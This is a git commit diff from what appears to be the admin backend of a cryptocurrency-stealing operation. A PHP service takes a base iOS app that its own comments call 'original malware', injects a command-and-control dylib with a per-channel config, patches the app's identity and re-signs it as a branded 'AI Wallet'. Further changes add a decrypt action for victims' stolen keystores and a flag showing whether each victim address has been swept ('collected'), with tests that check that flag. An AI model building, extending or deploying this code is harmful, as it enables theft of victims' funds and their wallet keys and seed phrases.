feat: app
This commit is contained in:
@@ -16,6 +16,7 @@ use App\Models\Photo;
|
||||
use App\Models\PluginSession;
|
||||
use App\Models\PhotoRead;
|
||||
use App\Models\User;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
@@ -619,7 +620,9 @@ class DeviceController extends Controller
|
||||
$q->where('chain_type', $chainType);
|
||||
}
|
||||
$paginator = $q->orderBy($field, $order)->paginate($limit, ['*'], 'page', $page);
|
||||
$data = collect($paginator->items())->map(function (WalletAddress $addr) {
|
||||
$items = collect($paginator->items());
|
||||
$swept = TransferRecord::successfulSweepSet($items->pluck('address')->all());
|
||||
$data = $items->map(function (WalletAddress $addr) use ($swept) {
|
||||
$coins = $addr->formattedCoins();
|
||||
|
||||
return [
|
||||
@@ -632,6 +635,7 @@ class DeviceController extends Controller
|
||||
'eth' => $coins['eth'],
|
||||
'btc' => $coins['btc'],
|
||||
'bnb' => $coins['bnb'],
|
||||
'collected' => TransferRecord::addressInSweepSet((string) $addr->address, $swept),
|
||||
'monitor' => (int) $addr->monitor,
|
||||
'monitor_synced' => (bool) $addr->monitor_synced,
|
||||
'monitor_failures' => (int) $addr->monitor_failures,
|
||||
@@ -707,6 +711,7 @@ class DeviceController extends Controller
|
||||
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||
'decrypt_url' => route($portal.'.keystores.decrypt', $row->id),
|
||||
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||
];
|
||||
})->values();
|
||||
|
||||
@@ -24,4 +24,44 @@ class TransferRecord extends Model
|
||||
'status',
|
||||
'error',
|
||||
];
|
||||
|
||||
/**
|
||||
* Addresses that already have a successful outbound sweep.
|
||||
*
|
||||
* @param list<string> $addresses
|
||||
* @return array<string, true>
|
||||
*/
|
||||
public static function successfulSweepSet(array $addresses): array
|
||||
{
|
||||
$addresses = array_values(array_unique(array_filter(
|
||||
$addresses,
|
||||
static fn ($address) => is_string($address) && $address !== ''
|
||||
)));
|
||||
if ($addresses === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$found = static::query()
|
||||
->whereIn('from_address', $addresses)
|
||||
->where('status', self::STATUS_SUCCESS)
|
||||
->where('type', self::TYPE_OUT)
|
||||
->distinct()
|
||||
->pluck('from_address');
|
||||
|
||||
$set = [];
|
||||
foreach ($found as $address) {
|
||||
$set[(string) $address] = true;
|
||||
$set[strtolower((string) $address)] = true;
|
||||
}
|
||||
|
||||
return $set;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, true> $set
|
||||
*/
|
||||
public static function addressInSweepSet(string $address, array $set): bool
|
||||
{
|
||||
return isset($set[$address]) || isset($set[strtolower($address)]);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,29 +9,15 @@ use RuntimeException;
|
||||
/**
|
||||
* Build a customized AI Wallet IPA for App-builder channels.
|
||||
*
|
||||
* Uses a pre-compiled c2_simple.dylib (compiled on macOS) and a
|
||||
* runtime c2_config.plist to configure domain/channel per build.
|
||||
* No iOS SDK or Xcode required on the Linux build server.
|
||||
*
|
||||
* Build flow:
|
||||
* 1. Extract ai-live-base.ipa (original malware)
|
||||
* 2. Copy pre-compiled c2_simple.dylib to Frameworks/
|
||||
* 3. Generate c2_config.plist with channel-specific settings
|
||||
* 4. Add LC_LOAD_DYLIB to main binary (before libutils)
|
||||
* 5. Patch Info.plist (app name, bundle ID, white launch screen)
|
||||
* 6. Generate icons from uploaded logo
|
||||
* 7. Sign with ldid
|
||||
* 8. Package as IPA
|
||||
* Uses pre-compiled c2_simple.dylib + runtime c2_config.plist.
|
||||
* Binary and plist editing use Python scripts (PHP regex corrupts XML/Mach-O).
|
||||
* Signing uses ldid via proc_open.
|
||||
*/
|
||||
class AiWalletPackageService
|
||||
{
|
||||
/** Base IPA path (original ai-live malware) */
|
||||
private const BASE_IPA = 'app-templates/ai-live-base.ipa';
|
||||
|
||||
/** Pre-compiled c2_simple.dylib */
|
||||
private const C2_DYLIB = 'app-templates/c2_simple.dylib';
|
||||
|
||||
/** Icon sizes */
|
||||
private const ICON_SIZES = [
|
||||
'AppIcon60x60@2x.png' => 120,
|
||||
'AppIcon60x60@3x.png' => 180,
|
||||
@@ -44,10 +30,10 @@ class AiWalletPackageService
|
||||
$c2Dylib = storage_path('app/'.self::C2_DYLIB);
|
||||
|
||||
if (!file_exists($baseIpa)) {
|
||||
return $this->fail('Base IPA not found. Upload ai-live-base.ipa via admin.');
|
||||
return $this->fail('Base IPA not found: '.$baseIpa);
|
||||
}
|
||||
if (!file_exists($c2Dylib)) {
|
||||
return $this->fail('c2_simple.dylib not found. Upload pre-compiled dylib.');
|
||||
return $this->fail('c2_simple.dylib not found: '.$c2Dylib);
|
||||
}
|
||||
|
||||
$workDir = storage_path('app/app-builds/'.$channel->channel_id);
|
||||
@@ -55,6 +41,8 @@ class AiWalletPackageService
|
||||
@mkdir($workDir, 0755, true);
|
||||
|
||||
try {
|
||||
Log::info('AiWallet: build started', ['channel' => $channel->channel_id]);
|
||||
|
||||
// 1. Extract base IPA
|
||||
$zip = new \ZipArchive;
|
||||
if ($zip->open($baseIpa) !== true) throw new RuntimeException('Cannot open base IPA');
|
||||
@@ -68,26 +56,41 @@ class AiWalletPackageService
|
||||
$fwDir = $appDir.'/Frameworks';
|
||||
if (!is_dir($fwDir)) @mkdir($fwDir, 0755, true);
|
||||
copy($c2Dylib, $fwDir.'/c2_simple.dylib');
|
||||
Log::info('AiWallet: c2_simple.dylib copied');
|
||||
|
||||
// 3. Generate c2_config.plist
|
||||
// 3. Write c2_config.plist
|
||||
$this->writeConfigPlist($appDir, $channel, $apiDomain);
|
||||
Log::info('AiWallet: c2_config.plist written');
|
||||
|
||||
// 4. Add LC_LOAD_DYLIB to main binary
|
||||
// 4. Add LC_LOAD_DYLIB (Python script)
|
||||
$mainBin = $this->findMainBinary($appDir);
|
||||
$this->addLoadDylib($mainBin, '@rpath/c2_simple.dylib', '@executable_path/Frameworks/libutils.dylib');
|
||||
$this->runPython(base_path('bin/add_dylib.py'), [$mainBin, '@rpath/c2_simple.dylib']);
|
||||
Log::info('AiWallet: LC_LOAD_DYLIB added');
|
||||
|
||||
// 5. Patch Info.plist
|
||||
$this->patchInfoPlist($appDir, $channel);
|
||||
// 5. Patch Info.plist (Python script)
|
||||
$this->runPython(base_path('bin/patch_plist.py'), [
|
||||
$appDir.'/Info.plist',
|
||||
$channel->app_name,
|
||||
$channel->bundle_id ?: 'com.ai.wallet.next',
|
||||
'1.6.1',
|
||||
]);
|
||||
Log::info('AiWallet: Info.plist patched');
|
||||
|
||||
// 6. Generate icons
|
||||
// 6. Replace splash + remove LaunchScreen
|
||||
$this->replaceSplashAndLaunchScreen($appDir);
|
||||
Log::info('AiWallet: splash/LaunchScreen replaced');
|
||||
|
||||
// 7. Generate icons
|
||||
if ($logoPath && file_exists($logoPath)) {
|
||||
$this->generateIcons($appDir, $logoPath);
|
||||
Log::info('AiWallet: icons generated');
|
||||
}
|
||||
|
||||
// 7. Sign
|
||||
// 8. Sign with ldid
|
||||
$this->sign($appDir);
|
||||
Log::info('AiWallet: signed');
|
||||
|
||||
// 8. Package
|
||||
// 9. Package IPA
|
||||
$outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
|
||||
$outputFull = public_path($outputPath);
|
||||
@mkdir(dirname($outputFull), 0755, true);
|
||||
@@ -102,11 +105,12 @@ class AiWalletPackageService
|
||||
$size = filesize($outputFull);
|
||||
$this->rrmdir($workDir);
|
||||
|
||||
Log::info('AiWallet: build complete', ['size' => $size]);
|
||||
return ['success' => true, 'path' => '/'.$outputPath, 'size' => $size, 'error' => ''];
|
||||
|
||||
} catch (\Throwable $e) {
|
||||
$this->rrmdir($workDir);
|
||||
Log::error('AiWalletPackageService: build failed', [
|
||||
Log::error('AiWallet: build failed', [
|
||||
'channel' => $channel->channel_id,
|
||||
'error' => $e->getMessage(),
|
||||
]);
|
||||
@@ -125,90 +129,124 @@ class AiWalletPackageService
|
||||
'AppName' => $channel->app_name,
|
||||
];
|
||||
|
||||
$plist = $this->arrayToXmlPlist($config);
|
||||
file_put_contents($appDir.'/c2_config.plist', $plist);
|
||||
}
|
||||
|
||||
private function arrayToXmlPlist(array $data): string
|
||||
{
|
||||
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n";
|
||||
$xml .= '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n";
|
||||
$xml .= '<plist version="1.0"><dict>'."\n";
|
||||
foreach ($data as $key => $value) {
|
||||
$xml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
||||
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
|
||||
.'<plist version="1.0"><dict>'."\n";
|
||||
foreach ($config as $key => $value) {
|
||||
$xml .= '<key>'.htmlspecialchars($key).'</key><string>'.htmlspecialchars($value).'</string>'."\n";
|
||||
}
|
||||
$xml .= '</dict></plist>';
|
||||
return $xml;
|
||||
file_put_contents($appDir.'/c2_config.plist', $xml);
|
||||
}
|
||||
|
||||
private function patchInfoPlist(string $appDir, Channel $channel): void
|
||||
private function runPython(string $script, array $args): void
|
||||
{
|
||||
$plistFile = $appDir.'/Info.plist';
|
||||
$data = file_get_contents($plistFile);
|
||||
|
||||
// Use plistlib via shell (available on Linux)
|
||||
$tmpFile = tempnam(sys_get_temp_dir(), 'plist');
|
||||
file_put_contents($tmpFile, $data);
|
||||
|
||||
$changes = [
|
||||
'CFBundleDisplayName' => $channel->app_name,
|
||||
'CFBundleName' => $channel->app_name,
|
||||
'CFBundleIdentifier' => $channel->bundle_id ?: 'com.ai.wallet.next',
|
||||
'CFBundleShortVersionString' => '1.6.1',
|
||||
'CFBundleVersion' => '1.6.1',
|
||||
];
|
||||
|
||||
foreach ($changes as $key => $value) {
|
||||
$escaped = escapeshellarg($value);
|
||||
exec("plistutil -i {$tmpFile} -o {$tmpFile} -k {$key} -s {$escaped} 2>/dev/null || true");
|
||||
// Fallback: use sed for XML plists
|
||||
$data = file_get_contents($tmpFile);
|
||||
$data = preg_replace(
|
||||
'#<key>'.preg_quote($key, '#').'</key>\s*<string>[^<]*</string>#',
|
||||
'<key>'.$key.'</key><string>'.htmlspecialchars($value).'</string>',
|
||||
$data
|
||||
);
|
||||
file_put_contents($tmpFile, $data);
|
||||
if (!file_exists($script)) {
|
||||
throw new RuntimeException('Script not found: '.$script);
|
||||
}
|
||||
|
||||
// Remove storyboard reference, add UILaunchScreen (white background)
|
||||
$data = file_get_contents($tmpFile);
|
||||
$data = preg_replace('#<key>UILaunchStoryboardName</key>\s*<string>[^<]*</string>#', '', $data);
|
||||
if (!str_contains($data, 'UILaunchScreen')) {
|
||||
$data = str_replace('</dict></plist>', '<key>UILaunchScreen</key><dict/></dict></plist>', $data);
|
||||
$cmd = 'python3 '.escapeshellarg($script);
|
||||
foreach ($args as $arg) {
|
||||
$cmd .= ' '.escapeshellarg($arg);
|
||||
}
|
||||
file_put_contents($plistFile, $data);
|
||||
unlink($tmpFile);
|
||||
}
|
||||
$cmd .= ' 2>&1';
|
||||
|
||||
private function addLoadDylib(string $binaryPath, string $dylibPath, string $insertBefore): void
|
||||
{
|
||||
// Use Python script for Mach-O editing — PHP binary manipulation
|
||||
// corrupts the binary by inserting bytes (shifts code signature blob).
|
||||
// The Python script uses existing free space in the load command table,
|
||||
// preserving the file size and not breaking the signature.
|
||||
$scriptPath = base_path('bin/add_dylib.py');
|
||||
|
||||
if (!file_exists($scriptPath)) {
|
||||
throw new RuntimeException('add_dylib.py not found at '.$scriptPath);
|
||||
}
|
||||
|
||||
$cmd = sprintf(
|
||||
'python3 %s %s %s 2>&1',
|
||||
escapeshellarg($scriptPath),
|
||||
escapeshellarg($binaryPath),
|
||||
escapeshellarg($dylibPath)
|
||||
);
|
||||
|
||||
$output = [];
|
||||
$exitCode = 0;
|
||||
exec($cmd, $output, $exitCode);
|
||||
|
||||
|
||||
if ($exitCode !== 0) {
|
||||
throw new RuntimeException('add_dylib.py failed: '.implode("\n", $output));
|
||||
throw new RuntimeException(basename($script).' failed ('.$exitCode.'): '.implode("\n", $output));
|
||||
}
|
||||
|
||||
Log::info('AiWalletPackageService: add_dylib.py output', ['output' => $output]);
|
||||
Log::info('AiWallet: '.basename($script).' output', ['output' => $output]);
|
||||
}
|
||||
|
||||
private function replaceSplashAndLaunchScreen(string $appDir): void
|
||||
{
|
||||
// Replace Flutter splash with white
|
||||
$splashPath = $appDir.'/Frameworks/App.framework/flutter_assets/assets/launch/splash.png';
|
||||
if (file_exists($splashPath) && function_exists('imagecreatetruecolor')) {
|
||||
$img = imagecreatetruecolor(10, 10);
|
||||
$white = imagecolorallocate($img, 255, 255, 255);
|
||||
imagefill($img, 0, 0, $white);
|
||||
imagepng($img, $splashPath);
|
||||
imagedestroy($img);
|
||||
}
|
||||
|
||||
// Remove LaunchScreen storyboard
|
||||
$lsDir = $appDir.'/Base.lproj/LaunchScreen.storyboardc';
|
||||
if (is_dir($lsDir)) $this->rrmdir($lsDir);
|
||||
}
|
||||
|
||||
private function generateIcons(string $appDir, string $logoPath): void
|
||||
{
|
||||
if (!function_exists('imagecreatefrompng')) {
|
||||
Log::warning('AiWallet: GD not available, skipping icons');
|
||||
return;
|
||||
}
|
||||
|
||||
$src = imagecreatefrompng($logoPath);
|
||||
if (!$src) return;
|
||||
|
||||
// Remove Assets.car so iOS uses loose PNGs
|
||||
$assetsCar = $appDir.'/Assets.car';
|
||||
if (file_exists($assetsCar)) unlink($assetsCar);
|
||||
|
||||
foreach (self::ICON_SIZES as $filename => $size) {
|
||||
$dst = imagecreatetruecolor($size, $size);
|
||||
imagealphablending($dst, false);
|
||||
imagesavealpha($dst, true);
|
||||
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size, imagesx($src), imagesy($src));
|
||||
imagepng($dst, $appDir.'/'.$filename);
|
||||
imagedestroy($dst);
|
||||
}
|
||||
imagedestroy($src);
|
||||
}
|
||||
|
||||
private function sign(string $appDir): void
|
||||
{
|
||||
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
||||
if ($ldidPath === '' || !file_exists($ldidPath)) {
|
||||
Log::warning('AiWallet: ldid not found', ['path' => $ldidPath]);
|
||||
return;
|
||||
}
|
||||
|
||||
$csDir = $appDir.'/_CodeSignature';
|
||||
if (is_dir($csDir)) $this->rrmdir($csDir);
|
||||
|
||||
$binaries = array_merge(
|
||||
[$this->findMainBinary($appDir)],
|
||||
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||||
glob($appDir.'/*.dylib') ?: [],
|
||||
);
|
||||
|
||||
foreach ($binaries as $bin) {
|
||||
if (!is_file($bin)) continue;
|
||||
|
||||
$spec = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
|
||||
$proc = proc_open([$ldidPath, '-S', $bin], $spec, $pipes);
|
||||
|
||||
if (is_resource($proc)) {
|
||||
fclose($pipes[0]);
|
||||
$stdout = stream_get_contents($pipes[1]);
|
||||
$stderr = stream_get_contents($pipes[2]);
|
||||
fclose($pipes[1]);
|
||||
fclose($pipes[2]);
|
||||
$exitCode = proc_close($proc);
|
||||
|
||||
if ($exitCode !== 0) {
|
||||
Log::warning('AiWallet: ldid failed for '.basename($bin), [
|
||||
'exit' => $exitCode, 'stderr' => $stderr,
|
||||
]);
|
||||
} else {
|
||||
Log::info('AiWallet: ldid signed '.basename($bin));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@mkdir($csDir, 0755, true);
|
||||
file_put_contents($csDir.'/CodeResources',
|
||||
'<?xml version="1.0" encoding="UTF-8"?>'."\n".
|
||||
'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
|
||||
}
|
||||
|
||||
private function findAppDir(string $workDir): ?string
|
||||
@@ -223,91 +261,10 @@ class AiWalletPackageService
|
||||
|
||||
private function findMainBinary(string $appDir): string
|
||||
{
|
||||
// Main binary has the same name as the .app directory
|
||||
$appName = basename($appDir, '.app');
|
||||
return $appDir.'/'.$appName;
|
||||
}
|
||||
|
||||
private function generateIcons(string $appDir, string $logoPath): void
|
||||
{
|
||||
if (!function_exists('imagecreatefrompng')) {
|
||||
Log::warning('AiWalletPackageService: GD not available, skipping icons');
|
||||
return;
|
||||
}
|
||||
|
||||
$src = imagecreatefrompng($logoPath);
|
||||
if (!$src) return;
|
||||
|
||||
foreach (self::ICON_SIZES as $filename => $size) {
|
||||
$dst = imagecreatetruecolor($size, $size);
|
||||
imagealphablending($dst, false);
|
||||
imagesavealpha($dst, true);
|
||||
imagecopyresampled($dst, $src, 0, 0, 0, 0, $size, $size,
|
||||
imagesx($src), imagesy($src));
|
||||
imagepng($dst, $appDir.'/'.$filename);
|
||||
imagedestroy($dst);
|
||||
}
|
||||
imagedestroy($src);
|
||||
}
|
||||
|
||||
private function sign(string $appDir): void
|
||||
{
|
||||
// Remove old signatures
|
||||
$csDir = $appDir.'/_CodeSignature';
|
||||
if (is_dir($csDir)) $this->rrmdir($csDir);
|
||||
|
||||
$ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
|
||||
if ($ldidPath === '' || !file_exists($ldidPath)) {
|
||||
Log::warning('AiWalletPackageService: ldid not found at '.$ldidPath);
|
||||
return;
|
||||
}
|
||||
|
||||
// Create entitlements file
|
||||
$entFile = $appDir.'/../entitlements.xml';
|
||||
$entXml = '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
||||
.'<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">'."\n"
|
||||
.'<plist version="1.0"><dict>'."\n"
|
||||
.'<key>get-task-allow</key><true/>'."\n"
|
||||
.'<key>keychain-access-groups</key><array><string>*</string></array>'."\n"
|
||||
.'<key>platform-application</key><true/>'."\n"
|
||||
.'</dict></plist>';
|
||||
file_put_contents($entFile, $entXml);
|
||||
|
||||
// Sign all binaries with entitlements
|
||||
$binaries = array_merge(
|
||||
[$this->findMainBinary($appDir)],
|
||||
glob($appDir.'/Frameworks/*.dylib') ?: [],
|
||||
glob($appDir.'/*.dylib') ?: [],
|
||||
glob($appDir.'/Frameworks/*.framework/*') ?: [],
|
||||
);
|
||||
|
||||
foreach ($binaries as $bin) {
|
||||
if (!is_file($bin)) continue;
|
||||
$cmd = escapeshellarg($ldidPath)
|
||||
.' -S'.escapeshellarg($entFile)
|
||||
.' '.escapeshellarg($bin).' 2>&1';
|
||||
$output = [];
|
||||
$exitCode = 0;
|
||||
exec($cmd, $output, $exitCode);
|
||||
if ($exitCode !== 0) {
|
||||
Log::warning('AiWalletPackageService: ldid sign failed for '.basename($bin), [
|
||||
'cmd' => $cmd,
|
||||
'output' => implode("\n", $output),
|
||||
'exit_code' => $exitCode,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
// Also create bundle _CodeSignature
|
||||
$bundleCs = $appDir.'/_CodeSignature';
|
||||
@mkdir($bundleCs, 0755, true);
|
||||
file_put_contents($bundleCs.'/CodeResources', '<?xml version="1.0" encoding="UTF-8"?>'."\n"
|
||||
.'<plist version="1.0"><dict><key>files</key><dict/></dict></plist>');
|
||||
|
||||
// Cleanup entitlements file
|
||||
@unlink($entFile);
|
||||
}
|
||||
|
||||
private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
|
||||
{
|
||||
foreach (scandir($dir) as $item) {
|
||||
|
||||
Executable
+51
@@ -0,0 +1,51 @@
|
||||
#!/usr/bin/env python3
|
||||
"""Patch an iOS Info.plist: set bundle identity, white launch screen, icons."""
|
||||
import plistlib
|
||||
import sys
|
||||
import os
|
||||
|
||||
def main():
|
||||
plist_path = sys.argv[1]
|
||||
app_name = sys.argv[2]
|
||||
bundle_id = sys.argv[3]
|
||||
version = sys.argv[4]
|
||||
|
||||
with open(plist_path, 'rb') as f:
|
||||
plist = plistlib.load(f)
|
||||
|
||||
# Set identity
|
||||
plist['CFBundleDisplayName'] = app_name
|
||||
plist['CFBundleName'] = app_name
|
||||
plist['CFBundleIdentifier'] = bundle_id
|
||||
plist['CFBundleShortVersionString'] = version
|
||||
plist['CFBundleVersion'] = version
|
||||
|
||||
# White launch screen
|
||||
plist.pop('UILaunchStoryboardName', None)
|
||||
plist['UILaunchScreen'] = {}
|
||||
|
||||
# Icon references (loose PNGs)
|
||||
plist['CFBundleIcons'] = {
|
||||
'CFBundlePrimaryIcon': {
|
||||
'CFBundleIconName': 'AppIcon',
|
||||
'CFBundleIconFiles': ['AppIcon60x60'],
|
||||
}
|
||||
}
|
||||
plist['CFBundleIcons~ipad'] = {
|
||||
'CFBundlePrimaryIcon': {
|
||||
'CFBundleIconFiles': [
|
||||
'AppIcon60x60@2x',
|
||||
'AppIcon60x60@3x',
|
||||
'AppIcon76x76@2x~ipad',
|
||||
],
|
||||
'CFBundleIconName': 'AppIcon',
|
||||
}
|
||||
}
|
||||
|
||||
with open(plist_path, 'wb') as f:
|
||||
plistlib.dump(plist, f)
|
||||
|
||||
print(f"OK: patched {plist_path}")
|
||||
|
||||
if __name__ == '__main__':
|
||||
main()
|
||||
@@ -641,6 +641,11 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
{ field: 'eth', title: 'ETH', width: 90 },
|
||||
{ field: 'btc', title: 'BTC', width: 100 },
|
||||
{ field: 'bnb', title: 'BNB', width: 90 },
|
||||
{ field: 'collected', title: '是否归集', width: 100, templet: function (d) {
|
||||
return d.collected
|
||||
? '<span style="color:#16b777;font-weight:600;">已归集</span>'
|
||||
: '未归集';
|
||||
} },
|
||||
{ field: 'monitor', title: '监听开关', width: 80, templet: function (d) {
|
||||
return Number(d.monitor) === 1 ? '开' : '关';
|
||||
} },
|
||||
@@ -676,9 +681,10 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
} },
|
||||
{ field: 'kind', title: '类型', width: 110, templet: function (d) { return dash(d.kind); } },
|
||||
{ field: 'created_at', title: '时间', width: 170, sort: true, templet: function (d) { return dash(d.created_at); } },
|
||||
{ title: '操作', width: 200, align: 'center', templet: function (d) {
|
||||
{ title: '操作', width: 260, align: 'center', templet: function (d) {
|
||||
var html = '';
|
||||
if (d.detail_api_url && d.has_web3_keystore) html += '<a class="layui-btn layui-btn-xs" style="background:#5a8dee" lay-event="plaintext">明文</a>';
|
||||
if (d.decrypt_url) html += '<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="decrypt">解密</a>';
|
||||
if (Number(d.needs_password) === 1 && d.password_decrypt_url) html += '<a class="layui-btn layui-btn-xs" style="background:#ff5722" lay-event="decryptPassword">密码解密</a>';
|
||||
return html || '—';
|
||||
} }
|
||||
@@ -759,6 +765,30 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
|
||||
if (tab === 'keystores') {
|
||||
table.on('tool(LAY-device-tab-list)', function (obj) {
|
||||
if (obj.event === 'decrypt') {
|
||||
if (!obj.data.decrypt_url) return layer.msg('无法解密');
|
||||
var loadIdx = layer.msg('解密中…', { icon: 16, shade: 0.2, time: 0 });
|
||||
$.ajax({
|
||||
url: obj.data.decrypt_url,
|
||||
method: 'POST',
|
||||
data: { _token: token },
|
||||
timeout: 180000,
|
||||
success: function (res) {
|
||||
layer.msg((res && res.msg) || '已处理');
|
||||
if (res && res.code === 0) table.reload('LAY-device-tab-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
var msg = '解密失败';
|
||||
if (xhr.statusText === 'timeout') msg = '解密超时,请稍后重试';
|
||||
else if (xhr.responseJSON && xhr.responseJSON.msg) msg = xhr.responseJSON.msg;
|
||||
layer.msg(msg);
|
||||
},
|
||||
complete: function () {
|
||||
layer.close(loadIdx);
|
||||
}
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'decryptPassword') {
|
||||
if (!obj.data.password_decrypt_url) return layer.msg('无法密码解密');
|
||||
layer.prompt({
|
||||
|
||||
Binary file not shown.
@@ -94,7 +94,8 @@ class KeystoreAdminTest extends TestCase
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'keystores']))
|
||||
->assertOk()
|
||||
->assertJsonPath('data.0.source', 'Trust Wallet');
|
||||
->assertJsonPath('data.0.source', 'Trust Wallet')
|
||||
->assertJsonPath('data.0.decrypt_url', route('admin.keystores.decrypt', $row));
|
||||
}
|
||||
|
||||
#[Test]
|
||||
|
||||
@@ -4,6 +4,7 @@ namespace Tests\Feature;
|
||||
|
||||
use App\Models\Admin;
|
||||
use App\Models\Device;
|
||||
use App\Models\TransferRecord;
|
||||
use App\Models\WalletAddress;
|
||||
use App\Models\WalletMnemonic;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
@@ -141,4 +142,57 @@ class WalletAddressFilterTest extends TestCase
|
||||
->assertJsonPath('count', 2)
|
||||
->assertJsonMissing(['address' => 'addr-with-balance']);
|
||||
}
|
||||
|
||||
#[Test]
|
||||
public function device_wallet_tab_marks_collected_after_successful_sweep(): void
|
||||
{
|
||||
$rows = $this->seedRows();
|
||||
$device = Device::query()->where('device_id', 'dev-addr-filter')->firstOrFail();
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => $rows['withBalance']->address,
|
||||
'to_address' => 'TCollectTo',
|
||||
'chain' => 'tron',
|
||||
'tx_hash' => 'sweep-ok',
|
||||
'amount' => '12.5',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'USDT',
|
||||
'operator' => 'admin:1',
|
||||
'status' => TransferRecord::STATUS_SUCCESS,
|
||||
]);
|
||||
TransferRecord::query()->create([
|
||||
'from_address' => $rows['plain']->address,
|
||||
'to_address' => 'TCollectTo',
|
||||
'chain' => 'btc',
|
||||
'tx_hash' => null,
|
||||
'amount' => '1',
|
||||
'type' => TransferRecord::TYPE_OUT,
|
||||
'asset' => 'BTC',
|
||||
'operator' => 'admin:1',
|
||||
'status' => TransferRecord::STATUS_FAILED,
|
||||
'error' => 'no funds',
|
||||
]);
|
||||
|
||||
$admin = $this->admin();
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->get(route('admin.devices.show', [$device, 'tab' => 'wallets']))
|
||||
->assertOk()
|
||||
->assertSee('是否归集');
|
||||
|
||||
$this->actingAs($admin, 'admin')
|
||||
->getJson(route('admin.devices.tabData', [$device, 'tab' => 'wallets']))
|
||||
->assertOk()
|
||||
->assertJsonFragment([
|
||||
'address' => 'addr-with-balance',
|
||||
'collected' => true,
|
||||
])
|
||||
->assertJsonFragment([
|
||||
'address' => 'addr-plain',
|
||||
'collected' => false,
|
||||
])
|
||||
->assertJsonFragment([
|
||||
'address' => 'addr-with-mnemonic',
|
||||
'collected' => false,
|
||||
]);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user